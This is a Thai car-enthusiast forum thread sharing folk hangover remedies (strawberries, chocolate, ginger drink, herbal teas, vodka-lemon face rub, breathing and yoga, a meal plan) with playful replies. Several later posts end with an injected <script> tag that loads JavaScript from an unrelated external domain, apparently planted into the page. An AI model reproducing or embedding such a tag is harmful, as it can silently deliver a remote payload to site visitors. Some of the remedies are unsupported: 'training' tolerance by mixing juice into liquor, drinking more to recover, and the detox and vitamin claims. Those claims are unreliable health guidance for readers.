สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

thanatphong

เข้าร่วม: 05 มิถุนา 2009
ตอบ: 2693

ครอบครัว ES

ได้รับคำขอบคุณ: 5343
ให้คำขอบคุณ: 20

ที่อยู่: zone none ( civic es only)
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 03:34 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

สืบเนื่องจากเห็นมีกระทู้ สอนทำเบียร์วุ้น จึงอยากแก้ทาง ด้วย วิธีการแก้อาการแฮงค์

1. หาซื้อสตรอเบอรี่สดเตรียมไว้ในตู้เย็น ตื่นมาก็หยิบมากินสัก 8-10 ลูกก็ช่วยแก้อาการเมาค้างได้แล้ว หรือถ้าอยากจะฝึกคอให้แข็ง เตรียมพร้อมร่างกายกับการเฮอาปาร์ตี้ครั้งต่อไป ให้นำสตรอเบอรี่สดมาคั้น เอาแต่น้ำผสมกับเหล้าดื่มเข้าไป สูตรนี้เขาว่ากันว่า ช่วยปรับสภาพร่างกายของคนที่อ่อนเปลี้ยเพลียแรง หรือคนที่เพิ่งฟื้นจากไข้ให้คืนสู่สภาพปกติเร็วขึ้นด้วย

2. ถ้าสตรอว์เบอรี่หายาก ก็ซื้อช็อคโกแล็ตติดตู้เย็นไว้ แฮงค์ๆ เมื่อไหร่ก็เอามากิน ช็อกโกแล็ตมีผลต่อสมอง ช่วยให้ตื่นตัวและช่วยให้กระฉับกระเฉง ที่สำคัญช่วยแก้อาการแองค์โอเวอร์ ไม่ต้องเมาข้ามคืน

3. ถ้าเกิดอาการคลื่นเหียนอยากอาเจียน ลองชงน้ำขิงดื่มดู เดี๋ยวนี้เขามีขิงผงสำเร็จรูปขายกัยเยอะแยะ สะดวก ง่ายดาย

4. ถ้าโลกหมุน ปวดและวิงเวียนศีรษะ ลองดื่มน้ำเก็กฮวยเย็นชื่นใจสักแก้ว เก็กฮวยมีสรรพคุณช่วยลด อาการปวดเวียนได้ แถมแก้กระหายได้อีกต่างหาก

5. น้ำกระเจี๊ยบ สมุนไพรของไทยเรานี่ก็ช่วยได้ ดื่มน้ำกระเจี๊ยบเย็นๆ รสเปรี้ยวชุ่มฉ่ำ ช่วยให้ร่างกายสดชื่นได้ไม่ยาก

6. แตงโมแช่เย็นฉ่ำ ก็มี ประโยชน์ สารสำคัญที่ชื่อ CITRULLINE ในเนื้อ และในเม็ด มีสรรพคุณ ช่วยแก้กระหายน้ำและ ถอนพิษสุรา

7. ถ้าไม่มีอะไรในตู้เย็นเลยก็ให้ ตรงรี่ไปที่ร้านขายยาหาซื้อผลิตภัณฑ์เสริม อาหารมาลองกินดู 1 เม็ดหลังอาหาร อาการแฮงค์จะทุเลา

8. เรื่องกลิ่นก็สำคัญ บางคนดื่มหนักดื่นขึ้นมา พร้อมกับกลิ่นละมุดโชยโดยเฉพาะออกมาจากช่องปากแปรงฟันยังไงก็ไม่ช่วยให้ลมหายใจหอมสดชื่น ใบฝรั่งช่วยคุณได้ เด็ดใบฝรั่งสดมาสัก 2-3 ใบ เคี้ยว เคี้ยวอย่าง มั่นใจ กลิ่นละมุดที่ว่าไม่มีมารบกวนให้หดหู่ใจ

9. ร่างกายสดชื่นแล้ว แต่ใบหน้ากลับดูโทรม ก็ไม่เข้าทีสำหรับใบหน้าที่ดูโทรมนั่นนะ ปรับให้เด้งซะ มีวิธีง่ายๆโดยใช้ ABSOLUT VODKA 1/4 ถ้วย กับมะนาวสด สะอาด 1 ผล คั้นเอาแต่น้ำ นำส่วนผสมทั้งสองมาผสมให้เข้ากัน แล้วใช้สำลีชุบนำมาซับผิวหน้า ลำคอ และเนินอก ปล่อยให้แห้ง โดยไม่ต้องซับซ้ำอีก ครางนี้ล่ะหน้าโทรมๆ จะดูเด้งขึ้นทันใจ

10. หากบริเวณใต้ตาดูเหนื่อยล้า ลองใช้วิธีนี้ดู นำช้อนที่เราใช้กินข้าวนี่แหละ 2 อันไปแช่ไว้ใน ช่องแช่แข็งของตู้เย็นสักพัก จากนั้นก็นำมาวางทาบไว้ตรงบริเวณตาทั้ง 2 ข้างประมาณ 5 นาที จะทาบที่ใบหน้าด้วยก็ได้ นอกจากตื่นจากอาการแฮงค์แล้ว ยังช่วยให้ใบหน้าสดชื่น และดวงตาสดใส ลดอาการบวมใต้ตาได้อีกด้วย

11. หากมีอาการปวดหัวที่ไม่รุนแรงมาก อย่ากินยาแก้ปวด เพราะจะทำให้ตับต้องทำงานหนักขึ้น และทำลายวิตามินซีในร่างกายที่จำเป็นการการช่วยล้างพิษ

วิธีแก้ คือ ให้บริหารลมหายใจเพียง 2 นาที เพื่อเพิ่มออกซิเจนให้ร่างกาย โดยการนั่งบนเก้าอี้ ปล่อยตัวตามสบาย สูดลมหายใจเข้า-ออกปกติ 30 วินาที จากนั้นหายใจเข้าเต็มปอด จะรู้สึกว่าหน้าท้องขยายค้างไว้ 2 วินาที และหายใจออกให้หน้าท้องแฟบ ทำซ้ำประมาณ 5-6 ครั้ง การเพิ่มออกซิเจนในร่างกายด้วยวิธีนี้ จะช่วยขจัดความอ่อนเพลียและอาการปวดมึนศีรษะได้

12.อย่าออกกำลังกายหนัก ๆ เพราะจะยิ่งทำให้คุณขาดน้ำ รู้สึกอ่อนล้ามากขึ้น แถมยังทำให้รู้สึกปวดหัวมากขึ้น การยืดหยุ่นร่างายเบา ๆ ด้วยโยคะ โดยเฉพาะท่า Child Pose ผู้เชี่ยวชาญแนะนำให้ทำหลังตื่นนอนจะช่วยกระตุ้นให้ร่างกายขจัดแอลกอฮอล์ได้ดีขึ้น

วิธีทำ คือ นั่งคุกเข่า วางก้นที่เท้า หายใจเข้าลึก ๆ และออกอย่างช้า ๆ โน้มตัวลงจนศีรษะจรดพื้น (หากไม่สามารถทำได้ให้วางหมอนด้านหน้า ก้มศีรษะลงบนหมอน) แขนทั้งสองวางราบกับพื้น เหยียดไปด้านหลัง หงายฝ่ามือขึ้น หายใจเข้า-ออกลึก ๆ เพื่อกระตุ้นให้ภายในเริ่มล้างพิษ ค้างท่านี้ไว้ให้นานที่สุดเท่าที่ยังรู้สึกสบาย จากนั้นค่อย ๆ คืนตัวกลับสู่ท่าเริ่มต้น

13.ทานอาหารที่ช่วยรักษาระดับน้ำตาลในเลือดคงที่ รวมไปถึงอาหารที่มีวิตามินบีและซีสูง เพื่อช่วยกำจัดแอลกอฮอล์ออกไปจากร่างกาย เช่น

น้ำผลไม้ หรือผลไม้ที่มีวิตามินซี อุดมด้วยสารแอนติออกซิแดนท์ ช่วยเพิ่มความแข็งแรงให้กับตับ น้ำตาลฟรุกโทสที่อยู่ในผลไม้จะช่วยให้ร่างกายเผาผลาญแอลกอฮอล์ได้เร็วขึ้น

ไข่ ไข่เป็นอาหารที่มีไขมันต่ำ ดังนั้นจึงอาหารเช้าที่ดีที่สุด หลังจากดื่มหนักมาเมื่อคืน กรดแอมิโนในโปรตีนที่ได้จากไข่ จะช่วยให้ร่างกายฟื้นตัวเร็ว อีกทั้งยังไม่รบกวนการทำงานของตับในการขจัดแอลกอฮอล์อีกด้วย

ขนมปังปิ้งทาน้ำผึ้ง จะเพิ่มระดับน้ำตาลในเลือดและยังมีวิตามินบีสูงช่วยฟื้นกำลัง และสร้างความสดชื่นให้กับร่างกาย

ผักตระกูลกะหล่ำ ไม่ว่าจะเป็น กะหล่ำปลี กะหล่ำดอก หรือบรอกโคลี จะอุดมด้วยกรดโฟลิกแอชิด คอยทำหน้าที่ฟื้นฟูเซลล์ที่ถูกแอลกอฮอล์ทำลาย ผักวอเตอร์เครส ไม่คุ้นหูคนไทย แต่เป็นพืชที่มีคลอโรฟิลล์สูง ช่วยเติมออกซิเจนให้เซลล์ในร่างกาย

นอกจากนี้เรายังมีสูตรอาหารในหนึ่งวัน เพื่อให้วันของคุณเป็นวันที่สดใส ไม่ออกอาการแฮงค์เหมือนทุกที

เมนูอาหาร

หลังตื่นนอน น้ำส้ม 1 แก้ว

มื้อเช้า ไข่ต้มหรือออมเล็ต + ขนมปังโฮลวีทปิ้งทาน้ำผึ้ง 1 แผ่น + น้ำแคทรอทหรือน้ำส้ม 1 แก้ว

มื้อกลางวัน แซนวิชโฮลวีทไก่หรือทูน่า กับสลัดผักวอเตอร์เครสกับมะเขือเทศ + น้ำแอปเปิ้ล

อาหารว่าง ขนมปังโฮลวีทปิ้งทาน้ำผึ้ง 1 แผ่น หรือผลไม้ เช่น ส้ม แคตาลูป 1 จาน หรือสมูทตี้ผลไม้ (ไม่ใส่โยเกิร์ต) 1 แก้ว

มื้อเย็น ผัดกะหล่ำปลีหมูไม่ติดมัน กับข้าวกล้อง + น้ำส้มหรือน้ำแอปเปิล 1 แก้ว

ได้ผลอย่างไร เล่าสู่กันฟังด้วยเด๋อ (ต้องขอขอบคุณ ผองเพื่อน facebook)

ได้รับคำขอบคุณจาก: surasaka civicnoom kobkobok ค้าอะไหล่โคตรเก่า fasang.Mr phichetza Thanatip EsNon adisak pued007 Rachen popza4 thammarong007 N_J Civic สมชาย es330 taguunzae pisit33 Thetom toptwo bc11 Snook atiwarah666 padonzzz ballanupong song vor_ped woot icembr Saka NeaT ES. Mi_nK BEER_CIVIC ES hotline172

OUM

เข้าร่วม: 26 มิถุนา 2011
ตอบ: 2313

ครอบครัว ES

ได้รับคำขอบคุณ: 2142
ให้คำขอบคุณ: 1465

ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)

อาทิตย์, 5 พฤษภาคม 2013 06:45 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

สุดยอดดดด

ได้รับคำขอบคุณจาก: pued007

kobkobok

ชื่อเล่น: กบ

เข้าร่วม: 09 กุมภา 2010
ตอบ: 3919

ครอบครัว ES

ได้รับคำขอบคุณ: 1738
ให้คำขอบคุณ: 290

ที่อยู่: สระบุรี
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

อาทิตย์, 5 พฤษภาคม 2013 09:21 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

จะไปลองครับ ขอบคุณครับ

ได้รับคำขอบคุณจาก: pued007

Oil_liO

ชื่อเล่น: ออย

เข้าร่วม: 25 ธันวา 2010
ตอบ: 959

ครอบครัว ES

ได้รับคำขอบคุณ: 1157
ให้คำขอบคุณ: 1105

ที่อยู่: กรุงเทพมหานคร อุดรธานี
ปี: 2005

อาทิตย์, 5 พฤษภาคม 2013 09:44 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

มีสอนทำให้แฮงค์ และ วิธีแก้ไข สุดยอดไปเลย ES

ได้รับคำขอบคุณจาก: pued007

akkarin_c

ชื่อเล่น: ตู่

เข้าร่วม: 01 สิงหา 2012
ตอบ: 1225

ครอบครัว ES

ได้รับคำขอบคุณ: 1081
ให้คำขอบคุณ: 441

ที่อยู่: เตาปูน ปิ่นเกล้า อัมพวา
ปี: 2005
สี: ทอง แซทเทิลไลท์ (NH-663M)

อาทิตย์, 5 พฤษภาคม 2013 10:28 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

กำลังแฮงเลยย เมื่อคืนหนักไปหน่อย

ได้รับคำขอบคุณจาก: pued007

pued007

ชื่อเล่น: ปื้ด

เข้าร่วม: 09 ตุลา 2011
ตอบ: 694

Guru ES
Guru ES

ได้รับคำขอบคุณ: 684
ให้คำขอบคุณ: 1070

ที่อยู่: บางกะปิ
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 13:24 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

มันต้องถอนนนน

Rachen

ชื่อเล่น: เชน

เข้าร่วม: 03 พฤศจิกา 2012
ตอบ: 1422

ครอบครัว ES

ได้รับคำขอบคุณ: 1495
ให้คำขอบคุณ: 2881

ที่อยู่: บ้านฉาง ระยอง และ สตาร์พลาซ่า ระยอง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)

อาทิตย์, 5 พฤษภาคม 2013 13:32 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

ตำรา สามัญ ประจำ บ้าน สุดยอด

ได้รับคำขอบคุณจาก: pued007

popza4

ชื่อเล่น: อ้น

เข้าร่วม: 19 กรกฎา 2012
ตอบ: 1097

ครอบครัว ES

ได้รับคำขอบคุณ: 796
ให้คำขอบคุณ: 3347

ที่อยู่: จรัญสนิทวงศ์ 95/1
ปี: 2001
สี: แดง ไฟร์เปปเปอร์ (R-507P)

อาทิตย์, 5 พฤษภาคม 2013 13:54 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

อ้างอิงจาก:

มันต้องถอนนนน

ถอนนะไม่ใช่ฝังอิอิ

ได้รับคำขอบคุณจาก: pued007

trucklinkin

ชื่อเล่น: โจ้

เข้าร่วม: 20 เมษา 2012
ตอบ: 1266

ครอบครัว ES

ได้รับคำขอบคุณ: 826
ให้คำขอบคุณ: 1196

ที่อยู่: นครปฐม
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 14:47 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

...

ได้รับคำขอบคุณจาก: pued007

suttijate

ชื่อเล่น: เจตน์

เข้าร่วม: 04 เมษา 2012
ตอบ: 1099

ครอบครัว ES

ได้รับคำขอบคุณ: 1067
ให้คำขอบคุณ: 919

ที่อยู่: นนทบุรี
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 14:58 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

แบรนด์ซุปไก่สกัดเลย ครับ รับประทานก่อนนอน หากเมาหนักและกลัวว่าจะตื่นมา ประชุมหรือนัดสำคัญไม่ได้ รับประทานก่อนนอน ตื่นมาท่านจะรู้สึกสดชื่นเหมือนนอนเต็มอื่มครับ ทำตลอดตอนอีกวันมีประชุมเช้าแต่ปฏิเสท เพื่อนไม่ได้ครับ

ได้รับคำขอบคุณจาก: pued007

N_J Civic

เข้าร่วม: 27 ตุลา 2009
ตอบ: 3806

ครอบครัว ES

ได้รับคำขอบคุณ: 5146
ให้คำขอบคุณ: 5687

ที่อยู่: นิคม304 - ปราจีน - ชัยภูมิ
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)

อาทิตย์, 5 พฤษภาคม 2013 15:22 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

เคยกินช็อคโกแลตครับตอนแฮงครับ เฮอะๆ พุ่งพรวดเลย

ได้รับคำขอบคุณจาก: pued007

taguunzae

ชื่อเล่น: นู๋ผึ้ง

เข้าร่วม: 18 กรกฎา 2011
ตอบ: 1079

ครอบครัว ES

ได้รับคำขอบคุณ: 1756
ให้คำขอบคุณ: 1460

ที่อยู่: สป.บางพลี สค.มหาชัย ชลบุรี-ศรีราชา
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 18:17 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

เวลาแฮงค์ แล้ว มันต้องถอนนนคะ อิอิ ขอบคุณสำหรับข้อมูลคะ

ได้รับคำขอบคุณจาก: pued007

pued007

ชื่อเล่น: ปื้ด

เข้าร่วม: 09 ตุลา 2011
ตอบ: 694

Guru ES
Guru ES

ได้รับคำขอบคุณ: 684
ให้คำขอบคุณ: 1070

ที่อยู่: บางกะปิ
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อาทิตย์, 5 พฤษภาคม 2013 18:41 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

popza4 พิมพ์ว่า:

อ้างอิงจาก:

มันต้องถอนนนน

ถอนนะไม่ใช่ฝังอิอิ

taguunzae พิมพ์ว่า:

เวลาแฮงค์ แล้ว มันต้องถอนนนคะ อิอิ ขอบคุณสำหรับข้อมูลคะ

ถอนเสร็จเมาต่ออีกวันเลย

จะได้ต่อเนื่อง <script src="https://sport32news.com/civicesgroup.js"></

เดิมก็ดี

ชื่อเล่น: จิ๊ฟ

เข้าร่วม: 22 เมษา 2012
ตอบ: 675

Guru ES
Guru ES

ได้รับคำขอบคุณ: 585
ให้คำขอบคุณ: 808

ที่อยู่: นครราชสีมา-โชคชัย-ครบุรี
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

จันทร์, 6 พฤษภาคม 2013 02:16 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

40 หนึ่งเป๊ก หาย

thanatphong

เข้าร่วม: 05 มิถุนา 2009
ตอบ: 2693

ครอบครัว ES

จันทร์, 6 พฤษภาคม 2013 06:54 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

ติดตาม ได้ผลอย่างไร บอกกล่าวด้วยเด้อ ...

toptwo

ชื่อเล่น: ท็อป

เข้าร่วม: 25 มิถุนา 2011
ตอบ: 1000

ครอบครัว ES

ได้รับคำขอบคุณ: 1279
ให้คำขอบคุณ: 1707

ที่อยู่: Samrong & Kanchanaburi
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

จันทร์, 6 พฤษภาคม 2013 08:51 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

สุดยอดดดด

atiwarah666

ชื่อเล่น: อู๋

เข้าร่วม: 20 กันยา 2011
ตอบ: 385

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 340
ให้คำขอบคุณ: 385

ที่อยู่: รามอินทรา109
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

จันทร์, 6 พฤษภาคม 2013 09:59 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

ขอบคุณครับกะลังแฮงค์เลย

poppy

เข้าร่วม: 16 กุมภา 2011
ตอบ: 1438

ครอบครัว ES

ได้รับคำขอบคุณ: 1044
ให้คำขอบคุณ: 1079

ที่อยู่: สุโขทัย - นครสวรรค์ - พิษณุโลก - กำแพงเพชร
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

จันทร์, 6 พฤษภาคม 2013 10:30 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

กลูโคสหลอดครับ 2 หลอดอยู่ !!

chokpiti

ชื่อเล่น: โชค

เข้าร่วม: 17 ธันวา 2013
ตอบ: 1156

ครอบครัว ES

ได้รับคำขอบคุณ: 1455
ให้คำขอบคุณ: 1837

ที่อยู่: มหาชัย-ระยอง
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

จันทร์, 6 พฤษภาคม 2013 11:28 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

ถอนด้วยของเปรี้ยวข้างบ้านครับ มะยม,ตะลิงปิง "<script src="https://sport32news.com/civicesgroup.js">

kobkobok

ชื่อเล่น: กบ

เข้าร่วม: 09 กุมภา 2010
ตอบ: 3919

ครอบครัว ES

จันทร์, 6 พฤษภาคม 2013 15:03 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

แต่ส่วนมากผมจะถอนไอ้ตัวที่ทำให้เมาเมื่อคื่นอ่ะครับ อิอิ

song

เข้าร่วม: 10 กุมภา 2011
ตอบ: 9833

ครอบครัว ES

ได้รับคำขอบคุณ: 5558
ให้คำขอบคุณ: 4415

ที่อยู่: ESเมืองทอง 100%
ปี: 2002
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

จันทร์, 6 พฤษภาคม 2013 20:24 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

ขอบคุณครับ

thanatphong

เข้าร่วม: 05 มิถุนา 2009
ตอบ: 2693

ครอบครัว ES

อังคาร, 7 พฤษภาคม 2013 09:09 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

มาบอกเล่านิดนึง เมื่อวานให้ลูกพี่ ลูกน้อง ลองซดน้ำขิง ผลคือ หน้าแดง เหงื่อแตก สงสัย ร้อน+เผ็ด ส่าเหล้าคงออก แกบอกโล่งดี สบายตัว "<script src="https://sport32news.com/civicesgroup.js">

trucklinkin

ชื่อเล่น: โจ้

เข้าร่วม: 20 เมษา 2012
ตอบ: 1266

ครอบครัว ES

ได้รับคำขอบคุณ: 826
ให้คำขอบคุณ: 1196

ที่อยู่: นครปฐม
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 7 พฤษภาคม 2013 16:21 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

taguunzae

ชื่อเล่น: นู๋ผึ้ง

เข้าร่วม: 18 กรกฎา 2011
ตอบ: 1079

ครอบครัว ES

อังคาร, 7 พฤษภาคม 2013 21:18 - สูตรเด็ด แก้แฮงค์ หลังปาร์ตี้

วิธีที่9 กลัวซับแล้วได้ผลช้าอ่าคะ เลยจัดให้ซึมจากภายในซะเลย จะได้เด้งจากภายในสู่ภายนอก "<script src="https://sport32news.com/civicesgroup.js">

Attached File :

ได้รับคำขอบคุณจาก: hikaru_kung